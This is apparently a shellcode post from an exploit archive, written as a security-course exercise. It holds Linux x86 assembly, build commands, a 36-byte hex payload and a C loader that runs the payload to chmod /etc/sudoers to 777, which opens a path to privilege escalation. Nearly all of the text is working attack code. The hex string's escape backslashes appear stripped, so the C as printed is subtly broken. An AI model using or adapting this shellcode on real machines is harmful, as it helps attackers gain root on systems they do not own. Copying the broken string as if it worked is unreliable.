Linux x86 chmod 777 etc sudoers Shellcode

/*
################## Description ####################

; Title : chmod 777 /etc/sudoers - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
################## Description ####################

; Title : chmod 777 /etc/sudoers - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : chmod /etc/sudoers permissions
; OS : Linux
; Arch : x86
; Size : 36 bytes

################### chmod.nasm #####################

global _start

section .text

_start:

; push NULL into stack
xor edx, edx
push edx

; push (/etc/sudoers) into stack
push 0x7372656f
push 0x6475732f
push 0x6374652f

; store ESP pointer in EBX
mov ebx, esp

; store octal value of (777) in CX
mov cx, 0x1ff

; execute __NR_chmod syscall
xor eax, eax
mov al, 0xf
int 0x80

; execute __NR_exit syscall
xor eax, eax
mov al,0x1
int 0x80

################### chmod binary #####################

nasm -f elf32 -o chmod.o chmod.nasm

ld -z execstack -o chmod chmod.o

################### Shellcode ########################

objdump -d chmod -M intel

################## Compile #########################

gcc -fno-stack-protector -z execstack chmod.c -o chmod

*/


#include<stdio.h>
#include<string.h>

unsigned char code[] =
"x31xd2x52x68x6fx65x72x73x68x2fx73x75x64x68x2fx65x74x63x89xe3x66xb9xffx01x31xc0xb0x0fxcdx80x31xc0xb0x01xcdx80";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}